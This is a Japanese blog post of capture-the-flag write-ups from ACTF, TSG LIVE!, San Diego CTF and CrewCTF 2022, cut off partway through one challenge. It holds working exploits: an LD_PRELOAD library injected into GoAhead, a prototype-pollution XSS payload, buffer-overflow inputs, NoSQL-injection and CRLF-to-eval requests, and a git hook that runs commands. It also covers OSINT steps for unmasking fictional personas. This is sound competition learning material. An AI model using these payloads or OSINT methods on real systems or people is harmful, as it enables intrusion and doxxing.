st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

ACTF 2022 writeup

6/25 - 6/27という日程で開催された。zer0ptsで参加して8位。

他のメンバーが書いたwrite-up:


[Web 145] gogogo (118 solves)

EmbedThis GoAhead 5.1.4上で以下のようなCGIスクリプトが動いている。それだけ。

#!/bin/bash

echo -e "Content-Type: text/plain\n"
echo -e "Welcome to ACTF!\n"
env

GoAhead 5.1.4というバージョン番号にはめちゃくちゃ見覚えがある。pbctf 2021のAdvancementだ。これは0-day問で、multipart/form-data でPOSTすると環境変数を自由に変更した上でCGIスクリプトを実行させられるというものだった。脆弱性の詳細はメンバーのKahlaさんがまとめられていたのでそちらを参照のこと。

ahmed-belkahla.me

今回はbashスクリプトなので PYTHONWARNINGS のような環境変数は使えない。ただ、 docker-compose.ymlread_only: true が指定されていないので、前回は使えなかったが今度はファイルのアップロードと組み合わせることで LD_PRELOAD が使えるはずだ。

LD_PRELOAD でアップロードしたファイルをロードさせるには、一時ファイルのパスを知る必要がある。幸いにもCGIスクリプトenv環境変数として一時ファイルのパスを教えてくれるし、ファイル名は /tmp/tmp-66.tmp のように予測可能だ。

まず、LD_PRELOAD でロードすると cat /flag が実行されるライブラリを作成する。コンパイル後に strip でわざわざシンボルを取り除いているのは、GoAheadの最大アップロードサイズに引っかからないようにするため。

// gcc -shared -fPIC evil.c -o evil.so; strip evil.so; ls -l evil.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void neko(void) {
  unsetenv("LD_PRELOAD");
  system("cat /flag");
}

あとは適当なファイルをアップロードすることで、次にアップロードする一時ファイルのパスを推測し、evil.so をアップロードしつつ LD_PRELOAD でそれをロードさせるスクリプトを書く。

import re
import requests
URL = 'http://123.60.84.229:10218/cgi-bin/hello'

r = requests.post(URL, files={'test': ('a.txt', 'test')})
x = re.findall(r'/tmp/tmp-(\d+).tmp', r.text)[0]

next_path = '/tmp/tmp-{}.tmp'.format(int(x) + 3)

with open('evil.so', 'rb') as so:
    r = requests.post(URL, files={
        'neko': so,
    }, data={
        'LD_PRELOAD': next_path
    })
    print(r.text)

実行するとフラグが得られた。

$ python3 solve.py
Welcome to ACTF!

ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}HTTP_ACCEPT_ENCODING=gzip, deflate
SERVER_NAME=172.19.0.2
FILE_FILENAME_neko=/tmp/tmp-4.tmp
…
ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}

[Web 434] poorui (27 solves)

フロントエンドがReactな感じのチャットアプリと、そのソースコードが与えられる。フロントエンドはminifiedされたソースコードしか与えられない…のかと思いきや、ソースマップがついてきていてありがたい。

与えられたURLにアクセスしてユーザ名を入力すると、そのままサービスが利用できる。パスワードを入力する必要はないが、ユーザ名がすでに取得されているものである場合には弾かれる。

問題名の通り大変簡素なUIになっている。メッセージタイプには Text, link, image, template があり、それぞれ普通のテキスト、指定したURLへのリンク、指定したURLの画像、指定したテンプレートにメッセージがレンダリングされるやつ。

目標は admin としてログインし、flagbot というユーザと会話することだ。この admin というユーザは以下のようなスクリプトで、定期的に自身に送られてきたメッセージを確認している。わざわざPuppeteerを使っているあたり、XSS問っぽい。

import puppeteer from "puppeteer";

const SERVER_URL = 'http://localhost:8081/chat';
const USERNAME = 'admin';

(async () => {
    const browser = await puppeteer.launch({
        headless: process.env.DEBUG ?? true,
        args: ['--no-sandbox']
    });
    const page = await browser.newPage()
    await page.goto(SERVER_URL)
    await page.type('#username', USERNAME)
    await page.click('#btn-login')
    page.on('load', () => {
        console.log(page.url())
        if(page.url() !== SERVER_URL){
            setTimeout(async () => {
                await page.goto(SERVER_URL)
                await page.type('#username', USERNAME)
                await page.click('#btn-login')
            }, 3000);
        }
    })
})();

Prototype Pollutionを見つけるまで

脆弱性がないかフロントエンドのコードを眺めていたら、KahlaさんがLodashでPrototype Pollutionができそうという投稿をされた。

_.VERSION でバージョンを確認してみると、確かに4.17.4と5年前にリリースされたもので古い。試しに _.merge({}, JSON.parse('{"__proto__":{"abc":123}}')) してみると、({}).abc123 が入っていた。Prototype Pollutionができるっぽい。

_.merge を使っている箇所を探すと、js/components/ChatBox.js というファイルで templateCompile というテンプレートをレンダリングするためのメソッドが見つかった。ここで ctx はユーザが自由に変更できる値で、それが lodash.merge に渡っている。

    templateCompile(tpl, ctx){
        let attrs = {}
        // console.log(tpl)
        Array.from(tpl.matchAll(/{{\s*(\w+)\s*}}/g)).forEach(a => {
            attrs[a[1]] = 'unknown'
        })
        lodash.merge(attrs, JSON.parse(ctx))
        console.log(attrs)
        for(let k in attrs){
            tpl = tpl.replaceAll(`{{${k}}}`, attrs[k])
        }
        let out = <iframe title={this.state.tplCnt} sandbox="" srcDoc={tpl}> wow </iframe>
        return out
    }

ただ、このメソッドに渡ってくるまでに js/utils/util.jssanitize という関数によって <, >, \, _ の4つの記号が削除されてしまっている。__proto__ が使えないので、constructor.prototype で代替する。

export const sanitize = (s) => {
    if(typeof s === 'string'){
        return s.replaceAll(/<|>|\\|_/g, '')
    }
    if(typeof s === 'object'){
        for(const [k, v] of Object.entries(s)){
            s[k] = sanitize(v)
        }
        return s
    }
    return s
}

{"constructor":{"prototype":{"abc":123}}} というJSON付きの、メッセージタイプが template であるメッセージを適当なユーザに送る。受信者のユーザで受信後に ({}).abc を確認すると、123 が入っていた。Prototype Pollutionが成功したっぽい。

gadget探し その1

あとはgadgetを探すだけだが、なかなか見つからない。フロントエンドのコード内でなにかないか探していると、image というメッセージタイプのメッセージの処理が見つかった。画像を表示するためには this.props.allowImageattrs.wow がtruthyでなければならない。後者の attrs は先程の ctx と同様にユーザが自由に変更できる値だが、前者はそうでない。Prototype Pollutionの使いどころだ。

        if(type === 'image'){
            // console.log(this.props)
            const attrs = isJson(data.attrs) ? JSON.parse(data.attrs) : data.attrs
            if(this.props.allowImage && attrs.wow){
                return <div style={{
                    backgroundImage: `url(${data.src})`,
                    backgroundSize: "contain",
                    backgroundRepeat: "no-repeat",
                    // width: '100%',
                    padding: '25%',
                    height: 0,
                }} {...attrs}/>
            }else{
                return <p className="warning-text">sorry, <code>allowImage</code> is false</p>
            }
        }

以下の手順で、送信先のユーザに強制的に画像を見せることができるようになった。

  1. template として {"constructor":{"prototype":{"allowImage":true}}} を送信する
  2. image として {"wow":true} を送信する

gadget探し その2

先程の画像を表示する処理のJSXをもう一度見てみる。なぜかスプレッド構文で div にユーザから与えられた attrs を展開している。onfocus のような属性も付与できるのではないかと思ったが、残念ながらこのままではできない。とりあえず、まずはこれで好きな属性を付与できるかだけ確認する。

                return <div style={{
                    backgroundImage: `url(${data.src})`,
                    backgroundSize: "contain",
                    backgroundRepeat: "no-repeat",
                    // width: '100%',
                    padding: '25%',
                    height: 0,
                }} {...attrs}/>

先程の手順2で image として送信するJSONを、{"wow":true} から {"wow":true,"id":"test","class":"hoge"} に変更する。そのまま送信して、受信者側から受け取ったメッセージのDOMを確認すると、次のように idclass がそれぞれ指定した値になっていることが確認できた。

なんとかこれをバイパスして、onfocus なども含めた任意の属性を付与できないかいろいろ調べた。react prototype pollution ctf とかやけくそな検索ワードで、redpwnCTF 2021のMdPwnという過去問のwriteupがヒットした。挑んで解けなかった記憶がある。いわく、is というプロパティがあれば、属性名はチェックされないらしい。そんな。

とりあえず、次の手順で試してみる。

  1. template として {"constructor":{"prototype":{"allowImage":true,"is":"is"}}} を送信する
  2. image として {"wow":true,"neko":"kawaii"} を送信する

受信者側で手順2で送信されたメッセージのDOMを確認すると、wowneko という属性が生えているのを確認できた。

あとはやるだけ感があるが、onfocus + autofocus + contenteditable はなんかしらんけどうまくいかん、ほかの属性だと何が使えるのだろう…と悩んでいた。

またフロントエンドのコードを眺めていて、読み込まれている /static/css/main.c7f24255.css というCSSファイル中で @keyframes App-logo-spin{…} とキーフレームが定義されていることに気づく。これと onanimationend を組み合わせればJSの実行に持ち込めるのではないか。

先程の手順2で送信するJSONを以下のものに変更する。

{
    "wow": true,
    "onanimationend": "alert(123)",
    "style": {
        "animation-name": "App-logo-spin",
        "animation-duration": "0.1s",
        "transform": "rotate(45deg)",
        "background": "red",
        "width": "50px",
        "height": "50px"
    }
}

受信者側で確認すると、アラートが表示されていた。

でも、リモートのadmin botくんが踏んでくれない。

つらい

なんじゃこりゃと思いつつ、admin botのコードを読み直す。そういえばユーザ名だけでログインできて、またサービスは定期的に再起動されるのだったと思い出す。admin botより先に admin としてログインできればよいのではないか。

再起動のタイミングを狙って admin としてログインする。flagbot にメッセージを投げるとフラグが得られた。

ACTF{s0rry_for_4he_po0r_front3ndui:)_4FB89F0AAD0A}

TSG LIVE! 8 CTF writeup

5/14に100分という非常に短い競技時間で開催された。ひとりチームの\( ゜ヮ゜)> \(゜ヮ゜)/ \(゜ヮ゜)/ <(゜ヮ^ )/として参加して5位。


[Pwn 100] bpxover (15 solves)

以下のようなコードが与えられる。BOFがある。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char buf[16];

    puts("hello :)");
    scanf("%s", buf);
    long x = strtoll(buf, NULL, 10);
    asm ("xor %0, %%rbp\n\t"
            :
    : "r" (x));

    return 0;
}
$ (echo -en "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb6\x11\x40\x00\x00\x00\x00\x00"; cat) | nc chall.live.ctf.tsg.ne.jp 30006
hello :)
ls
ls -la
total 36
drwxr-xr-x 1 root user  4096 May 13 06:36 .
drwxr-xr-x 1 root root  4096 May 13 06:35 ..
-r-xr-xr-x 1 root user 17000 May 13 06:27 chall
-r--r--r-- 1 root user    35 May 13 06:27 flag
-r-xr-xr-x 1 root user    66 May 13 06:27 start.sh
cat flag
TSGLIVE{welcome_overflowwwwwwwwww}

[Pwn 200] bpxor (8 solves)

bpxoverに少し変更が加えられて、scanf("%s", buf)scanf("%15s", buf); になった。rbp をずらして、リターンアドレスがユーザ入力の後半部分に来るようにすればよさそう。何バイトずらすかは、ブルートフォースでなんとかする。

#!/bin/bash
count=0
while [ $count -lt 256 ]; do
    count=$((8+count))
    s="000${count}"
    (echo -en "${s: -3}_____\xb6\x11\x40\x00\x00\x00\x00\x00"; echo "ls; cat f*") | nc chall.live.ctf.tsg.ne.jp 30007
done
$ ./a.sh
hello :)
timeout: hello :)
timeout: hello :)
timeout: hello :)
chall
flag
start.sh
TSGLIVE{xoring_rbp_easily_leads_to_shell}

[Web 200] Problem on fire (8 solves)

Firebase。firestore.rules は以下のような内容になっていた。

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{uid} {
      // 自分のユーザー情報を書き込めるのは自分のみ
      allow read, create: if request.auth.uid == uid && !request.resource.data.admin;
      // 一度作ったユーザー情報を編集できるのはadminだけ
      allow update: if request.resource.data.admin;
    }
    match /flags/flag {
      // flagを読めるのはadminだけ
      allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.admin == true;
    }
  }
}

フロントエンドのコードには以下のような処理があった。{admin: false}{admin: true} に変えるとフラグが得られた。

const db = firebase.firestore();
await db.collection('users').doc(uid).set({admin: false});

const flag = await db.collection('flags').doc('flag').get();
this.flag = flag.get('value');
TSGLIVE{git_fire_is_also_useful_when_the_project_is_on_fire}

私がfirst bloodでした🙌

[Misc 50] Welcome (31 solves)

問題文にフラグが書かれている。

TSGLIVE{Stream_is_constant_and_never_stay_same_Lets_enjoy_the_moment}

[Misc 250] guess (8 solves)

以下のようなC++のコードが渡される。ランダムに生成されるパスワードを当てればよいらしい。

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/unistd.h>
#include <unistd.h>
#include <iostream>
#include <string>
#include <thread>
#include <cstdlib>
#include <chrono>

void win(){
  using namespace std;
  cout<<"you win!\n"<<getenv("FLAG")<<endl;
  cout.flush();
  syscall(__NR_exit_group, 0);
}

void guess_checker(std::string s){
  using namespace std;
  cerr<<"Got:"<<s<<endl;
  int fd = open("/tmp/password",O_RDONLY);
  if(s.size()>20){
    close(fd);
  }
  if (!(fcntl(fd, F_GETFL) < 0)) {
    system("pwgen 50000 -s -1 -N1|tail -c 20 > /tmp/password");
    string pass;
    char c;
    while(read(fd,&c,1)==1&&c!='\n'){
      pass+=c;
    }
    cerr<<"Expected:"<<pass<<endl;
    if(s==pass){
      win();
    }
  }else{
    cout<<"Wrong Password"<<endl;
    cout.flush();
    this_thread::sleep_for(chrono::microseconds(500));
  }
  close(fd);
}
int main(int argc, char const* argv[])
{
  system("touch /tmp/password");
  using namespace std;
  while(true){
    cout<<"guess password:";
    cout.flush();
    string s;
    getline(cin,s);
    thread(guess_checker,s).detach();
  }
  return 0;
}

なにかしらのタイミングでパスワードが空になるのだろうとguessして、とりあえずエンターキーを押しっぱなしにしてみたらフラグが得られてしまった。

$ nc chall.live.ctf.tsg.ne.jp 21234
guess password:
guess password:Got:
Expected:fBHzKKp5y7rfm9285Ty



guess password:

Got:



guess password:guess password:Got:
Got:
Expected:SoC9JMuiynnyD05HYng

guess password:guess password:Got:
Got:
Expected:
you win!
TSGLIVE{ThI5_1S_n0T_UMa_MUsUMe_pR3TTy_DerbY_rACe}

[Rev 400] DNS ROPOB (8 solves)

入力した文字列がフラグであるか確認してくれるELFが渡される。なんかROPっぽい感じでプログラムが組まれていて、解析がしづらくなっている。それに加えて ptrace を使った gdb とか ltrace による解析への妨害もされているが、それはNOPで潰すなり LD_PRELOADptrace を差し替えるなりすれば回避できる。

バイナリに含まれる怪しげなバイト列同士をXORすればフラグが出てきたりしないかな~というような無駄な試行の後に、Ghidraでバイナリを眺める。以下の2箇所で cmp ecx, eax が実行されているのを見つけた。

gdbブレークポイントを置いてみると、AAAAAAA を入力した場合には1回しか止まらなかったのに対して、TSGCTF{ では8回止まった。あとは ecxeax が同じ値になるように一文字ずつ入力を変えていくだけ。gdb scriptを書いたら楽だろうと思いつつ、手作業で頑張った。

TSGCTF{I_am_inspired_from_ROPOB}

San Diego CTF 2022 writeup

5/7 - 5/9という日程で開催された。zer0ptsで参加して4位。昨年に引き続きDiscordサーバがスコアサーバとして使われていて面白かった。スコアサーバ問題もコードがすでに公開されていてすばら。


[OSINT 100] Google Ransom (155 solves)

Oh no! A hacker has stolen a flag from us and is holding it ransom. Can you help us figure out who created this document? Find their email address and demand they return the flag!

添付URL: https://docs.google.com/document/d/1MbY-aT4WY6jcfTugUEpLTjPQyIL9pnZgX_jP8d8G2Uo/edit?usp=sharing

このドキュメントの作成者を特定すればよいらしい。閲覧後にGoogleドライブの「最近使用したアイテム」を見ると、このドキュメントが履歴に残っている。

ドキュメントの詳細を表示してオーナーの名前にホバーすると amy.sdctf@gmail.com というメールアドレスが表示された。

フラグをくれとか適当なメールを送ると、フラグの含まれたメールが返ってきた。

sdctf{0p3n_S0uRCE_1S_aMaz1NG}

[OSINT 400] Mann Hunt (96 solves)

We were on the trail of a notorious hacker earlier this week, but they suddenly went dark, taking down all of their internet presence...All we have is a username. We need you to track down their personal email address! It will be in the form ****.sdctf@gmail.com. Once you find it, send them an email to demand the flag!

Username mann5549

適当なSNSでこのユーザ名を持つアカウントがないか調べると、Twitterで見つかった。プロフィールにmann.codesというURLが含まれている。Gatsby製のWebサイトらしいが、コンテンツが何もない。

OGPからmanncyber/manncodes.github.ioというリポジトリがその生成元のコードであることがわかるものの、コミットログなどにはメールアドレスは含まれていなかった。そのリポジトリを作成したアカウントについても調べてみたが、登録されている公開鍵やらなんやらには面白い情報はなかった。

Internet ArchiveWayback Machinemann.codes を調べてみても3/4に取られたスナップショットと現在のもので差分はなさそうだし、crt.shmann.codes を調べても怪しげなサブドメインを対象に証明書が発行されている様子もない。

なんなんだこの問題は、と思いつつGitHubリポジトリを眺めていると、Gatsbyの設定ファイル, Blogger and Coder for ACM at UC San Diego という作者の紹介文を見つけた。これでググってみると、Emanuel HuntさんのLinkedInのプロフィールを見つけた。Googleドライブに履歴書を置いているらしい。

見てみるとPDFの履歴書があったものの、メールアドレスが ******sdctf@gmail.com と伏せられている。が、Google Ransomと同じ方法で mann.sdctf@gmail.com というメールアドレスが得られる。雑にメールを送るとフラグの含まれる返信があった。


点数の割にsolve数が多かったのは、問題名やユーザ名からメールアドレスが容易に推測可能だったからだろうか。

[OSINT 160] Samuel (88 solves)

Where is this? https://www.youtube.com/watch?v=fDGVF1fK1cA

Flag format: sdctf{latitude,longitude} using decimal degrees and 3 decimal places rounded toward zero (Ex. 4.1239 → 4.123, -4.0009 → -4.000)

点滅し続けるライトの動画が与えられている。光る時間が長かったり短かったりしていてモールス信号っぽい。送られている文字列は WHAT HATH GOD WROUGHT で、San Diego というワードとともに検索するとそれっぽい場所が見つかった。

sdctf{32.875,-117.240}

[OSINT 150] Part of the ship... (76 solves)

Sometimes I worry about my friend... he's way too into memes, he's always smiling, and he's always spouting nonsense about some "forbidden app." I don't know what he's talking about, but maybe you can help me figure it out! All I know is a username he used way back in the day. Good luck! Flag format is sdctf{flag}

"the forbidden app" でググるとiFunnyなるサービスに言及する記事がヒットする。DanFlashes というユーザがいないか https://ifunny.co/user/DanFlashes にアクセスしてみるも、404 Not Foundだった。が、Wayback Machineで探すと過去に存在していたことがわかる。プロフィールにフラグが書かれている。

sdctf{morning_noon_and_night_I_meme}

[OSINT 200] Turing Test (49 solves)

My friend has been locked out of his account! Can you help him recover it?

Email jack.sdctf@gmail.com

Website https://vault.sdc.tf/

与えられたURLにアクセスするとログインフォームが表示された。メールアドレスに jack.sdctf@gmail.com を、パスワードに適当な文字列を入力して5回ログインを試みるとサポートのbotが話しかけてきた。

アカウントリカバリを始めると、まず秘密の質問としてフルネームを聞かれる。J**** B***** と頭文字がヒントとして与えられる。雑に次のスクリプトでファミリーネームをブルートフォースしようとしたものの、失敗した。

(async () => {
  const wait = t => new Promise(r => setTimeout(r, t));
  const list = 'Baalam ... Bythewood'.split(' ');
  for (const x of list.filter(x => x.length === 6)) {
    const r = await fetch("/api/check/name", {
      "headers": {
        "content-type": "application/json",
      },
      "body": `{"messages":["Jack ${x}"]}`,
      "method": "POST"
    });
    const rr = await r.text();
    console.log(x, rr);

    if (!rr.includes('not correct')) {
      console.log('found!!');
      break;
    }

    await wait(100);
  }
})();

別の方法でフルネームが得られないか試す。Googleドキュメントで新しくドキュメントを作成し、jack.sdctf@gmail.com との共有を試みる。共有の状態を確認しようとすると、次の画像のように Jack Banner というフルネームが表示された。

botにフルネームを返信すると、今度は誕生日を聞かれた。

ブルートフォースすると1/10が誕生日だとわかった。

import datetime
import requests

# https://stackoverflow.com/a/5891598
def suffix(d):
    ...

URL = 'https://vault.sdc.tf/api/check/birthday/f1ea9d82e14b382091c111d71335e0f72e9c2baa'
for m in ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']:
    for d in range(1, 32):
        r = requests.post(URL, headers={
            'Content-Type': 'application/json'
        }, data='{"messages":["%s","%d%s"]}' % (m, d, suffix(d)))
        print(r.text, m, d)

今度は犬の名前を聞かれる。雑によくある名前を引っ張ってきて ブルートフォースしようとしたものの失敗した。よさげなデータセットも見つけたが、数千件のブルートフォースはさすがによろしくない。

別のアプローチを試みる。Jack BannerさんはSNSのアカウントを持っていないか? 試しにFacebook検索してみると、それっぽい人が見つかった。

このアカウントから犬の名前の情報が得られないか悩んでいたところ、POSIXさんがInstagramのアカウントを見つけてくれた。犬の名前は Ravioli らしい。最後の質問として、フラグの最初の6文字を聞かれた。これは sdctf{ だ。

これでアカウントにアクセスできる。やったね。

リンクをクリックするとフラグが得られた。

sdctf{7he_1m1747i0n_94m3}    

[OSINT 300] Paypal Playboy (23 solves)

We've apprehended somebody suspected of purchasing SDCTF flags off an underground market. That said, this guy is small fry. We need to find the leaker and bring them to brutal justice!

Attached is an email we retrieved from his inbox. See if you can't figure out the boss of their operation. Flag format is sdctf{...}

添付ファイル: mbox (eml形式のファイル)

添付ファイルのメールを見てみると、Cash AppなるアプリのQRコードの画像が添付されていた。$limosheen というユーザのQRコードらしい。PayPalにも同じユーザ名のアカウントがいないか検索してみたところ、いた。

paypal.meプロフィールを確認したところ、次のような自己紹介文が設定されていた。

we sell banners for San Diego Cybersecurity Contest at prices!! dont send ropETH please we have enough money ❤️ 0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B boss has twitter so question him if need to

Etherscanで 0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B というアドレスのトランザクション履歴を見ると、0x949213139D202115c8b878E8Af1F1D8949459f3f というアドレスに送金しているとわかる。

Twitterで検索してみると、次のツイートがヒットした。

このアカウントのほかのツイートを見ると、フラグが見つかった。

sdctf{You_Ever_Dance_With_the_Devil_In_the_Pale_Moonlight}

[Web 200] JaWT that down! (57 solves)

ソースコードが与えられていないブラックボックス問。フロントエンドの login.jsAzureDiamond / hunter2 という認証情報が書かれている。これでログインするとJWTが発行されるが、数秒で有効期限が来てしまう。

秘密鍵ブルートフォースやら、アルゴリズムnone への変更やら色々とJWTへの攻撃を試みたもののどれも失敗して悩んでいたところ、Kahlaさんが、ログイン状態で /s というエンドポイントが d という内容を返すことを見つけた。それを見て /s/s/d/s/d/c …という感じで1文字ずつフラグがわかるのではないかと思いつく。自動化した:

import requests

BASE = 'https://jawt.sdc.tf'
res = ['s']
c = 's'

while True:
    sess = requests.Session()
    sess.post(f'{BASE}/login', data={
        'username': 'AzureDiamond',
        'password': 'hunter2'
    })
    t = '/'.join(res)
    r = sess.get(f'{BASE}/{t}')
    c = r.text
    res.append(c)
    print(''.join(res))
sdctf{Th3_m0r3_t0k3ns_the_le55_pr0bl3ms_adf3d}

[Web 300] HuMongous Mistake (7 solves)

買い物ができるWebアプリケーションだが、普通のユーザでは商品として売られているフラグが買えない。このアプリの特徴はログインの際に2FAが必要だというところにある。アカウントの登録時にDiscordのIDを提出させられ、ログイン時にはユーザ名とパスワードに加えて、DiscordアカウントにDMで送られてきた英数字6桁のコードを入力しなければならない。

なんじゃこりゃと悩んでいたところ、問題名に Mongo が含まれていることに気づく。MongoDBが使われていそう(?????)。ということはNoSQL Injectionだ。適当に試していると、次のようにログイン時に application/x-www-form-urlencoded ではなく application/json としてJSONペイロードを投げることで、パスワードのチェックについては回避できた。

$ curl 'https://shell.sdc.tf/login' \
   -H 'content-type: application/json' \
   --data-raw '{"username":"admin","password":{"$ne":"hoge","length":1}}' \
   --compressed
Found. Redirecting to /2fa

次は2FAを何とかする必要がある。こちらはNoSQL Injectionができないようだった。色々試していたところ、このアプリのひどい実装に気づく。2FAのコードに有効期限はないし、もっと言えば他ユーザに発行されたコードであっても使えてしまう。ということで、自分の作成したアカウントでログインを試みてコードを取得し、adminとしてのログイン時にそのコードを入力すればOK。これでadminとしてログインし、フラグが購入できた。

sdctf{th1s_ch4ll3nge_1snt_g3tt1ng_a_SQL_ad45bd}

[Misc 100, 200] Bishop Duel (110, 93 solves)

こんな感じで白と黒のビショップが追いかけっこをするゲーム…だが、それぞれの位置を見ればわかるように、このままでは永遠にお互いを捕まえられない。

C1Z6 で左下まで移動して E8 と入力すると、なぜか左上まで移動した。off-by-oneエラーでもあるのだろうか。

あとは適当に捕まえたり捕まえられたりでふたつフラグが得られる。

sdctf{L0SiNG_y0uR_S0uRC3_C0d3_sUcKs}
sdctf{I_d1dnt_hAND_0u7_th3_s0urC3_c0D3_thIs_TIME}

[Misc 175] Git Bomb (33 solves)

.git を含むディレクトリをtar.gzに固めてアップロードすると、サーバ側で展開して git commit -m "Powered By GCaaS" というコマンドを実行してくれる謎のWebアプリケーションが与えられる。

Git Hooksを使えばよい。.git/hooks 下に commit-msg という名前のファイルを作成すると、コミット時にそれを実行してくれる。cat /flag するスクリプトをそこに配置すればよさそう。次の手順でコマンドを実行していくとフラグが得られた。

$ mkdir exp
$ git init exp
$ cd exp

$ echo -e '#!/bin/bash\ncat /flag' > .git/hooks/commit-msg
$ chmod +x .git/hooks/commit-msg

$ echo a > a.txt
$ git add .

$ ./prepare-git-repo.sh exp/ exp.tar.gz
$ curl -F 'repo=@exp.tar.gz' https://gcaas.sdc.tf/
Standard output:
[master (root-commit) b5c6adb] Powered by GCaaS
 1 file changed, 1 insertion(+)
 create mode 100644 a.txt

Standard error:
sdctf{4lw4y5_Us3_GIT_cl0nE_n3v3R_sn3ak_R3P0}

[Forensics 100] Susan Album Party (92 solves)

青い空を見上げればいつもそこに白い猫に投げると3つのJPEGファイルが抽出できる。

sdctf{FFD8_th3n_S0ME_s7uff_FFD9}

[Forensics 250] Flag Hoarder (16 solves)

coreファイルと、それを吐き出した実行ファイルによって暗号化されたフラグだと考えられる enc というファイルが与えられる。

strings に投げると、coreファイルを吐き出した実行ファイルの使い方であったり、実行時に与えられたコマンドライン引数であったり、パスワードっぽい文字列であったりが出てくる。

$ strings -n 8 core.3504
…
Usage: %s input_file password_file
this is my very secret password mwahahaha
…
/home/knox/Downloads/a.out
/home/knox/Downloads/a.out ./flag.txt.bz2 ./password.txt
…

試しにパスワードっぽい文字列と enc とをCyberChefを使ってXORしてみると、BZh から始まる、Bzip2っぽいバイナリが出てきた。展開するとフラグが得られた。

sdctf{Th1S_1s_My_3ncRYPt3d_FlaG}

CrewCTF 2022 writeup

4/16 - 4/18という日程で開催された。まともにCTFに参加するのは2/12のHayyim CTF 2022からおよそ2ヶ月ぶりで心配だったのだけれども、そこそこ解けてよかった。zer0ptsで参加して2位。


[Web 118] CuaaS (90 solves)

URLを入力するフォームがある。サーバ側の処理はこんな感じ。X-Original-URL というヘッダに入力したURLを持って http://127.0.0.1/cleaner.php にHTTPリクエストを送ってくれる。

stream_context_create のドキュメントと、そこから参照されているオプションの一覧を見ればわかるように、header は配列だけでなく文字列も許容する。文字列の場合にはCRLFで区切ることで複数のヘッダを送信できる。

この問題ではユーザ入力である $_POST['url'] が最終的に "X-Original-URL: $uncleanedURL" とヘッダに展開されているが、当然ながらCRLFも仕込める。HTTPヘッダインジェクションだ。

<?php
if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
    {
        clean_and_send($_POST['url']);
    }

    function clean_and_send($url){
            $uncleanedURL = $url; // should be not used anymore
            $values = parse_url($url);
            $host = explode('/',$values['host']);
            $query = $host[0];
            $data = array('host'=>$query);
            $cleanerurl = "http://127.0.0.1/cleaner.php";
            $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
            'method' => 'POST',
            'header' => "X-Original-URL: $uncleanedURL",
            'content' => http_build_query($data)
            ]
            ]));
                echo $stream;
                                            }


?>

このHTTPヘッダインジェクションで何ができるかというのは cleaner.php を見るとわかる。X-Visited-Before というヘッダの値が eval される。

<?php

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

die("<img src='https://imgur.com/x7BCUsr.png'>");

}


echo "<br>There your cleaned url: ".$_POST['host'];
echo "<br>Thank you For Using our Service!";


function tryandeval($value){
                echo "<br>How many you visited us ";
                eval($value);
        }


foreach (getallheaders() as $name => $value) {
    if ($name == "X-Visited-Before"){
        tryandeval($value);
    }}
?>

あとはやるだけ…かと思いきや、php.inidisable_functionsproc_opensystem などOSコマンドが実行できそうな関数が禁止されている。

disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, passthru, show_source, system, phpinfo, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority

ただ、glob とか file_get_contents は禁止されていないので、ファイルを読む分には困らない。glob でルートディレクトリを見たら /maybethisistheflag というそれっぽいファイルがあった。この中にフラグが書かれていた。

$ curl http://…/ -d "url=hoge%0d%0aX-Visited-Before: var_dump(glob('/*'));"
…
<br>There your cleaned url: <br>Thank you For Using our Service!<br>How many you visited us array(20) {
  [0]=>
  string(4) "/bin"
  [1]=>
  string(5) "/boot"
  [2]=>
  string(4) "/dev"
  [3]=>
  string(4) "/etc"
  [4]=>
  string(5) "/home"
  [5]=>
  string(4) "/lib"
  [6]=>
  string(6) "/lib64"
  [7]=>
  string(19) "/maybethisistheflag"
  [8]=>
  string(6) "/media"
  [9]=>
  string(4) "/mnt"
  [10]=>
  string(4) "/opt"
  [11]=>
  string(5) "/proc"
  [12]=>
  string(5) "/root"
  [13]=>
  string(4) "/run"
  [14]=>
  string(5) "/sbin"
  [15]=>
  string(4) "/srv"
  [16]=>
  string(4) "/sys"
  [17]=>
  string(4) "/tmp"
  [18]=>
  string(4) "/usr"
  [19]=>
  string(4) "/var"
}
…
$ curl http://…/ -d "url=hoge%0d%0aX-Visited-Before: echo file_get_contents('/maybethisistheflag');"
…
<br>There your cleaned url: <br>Thank you For Using our Service!<br>How many you visited us crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}
…
crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}

[Web 633] Marvel Pick (31 solves)

キャラクターに投票できるWebアプリケーションが与えられている。スパイダーマンが大人気。以下のクライアント側のコードを見ればわかるように、/api.php?character=spiderman みたいな感じでGETするとキャラクターの投票数が得られ、/api.php へのPOSTで投票ができる。

        const marvel = [
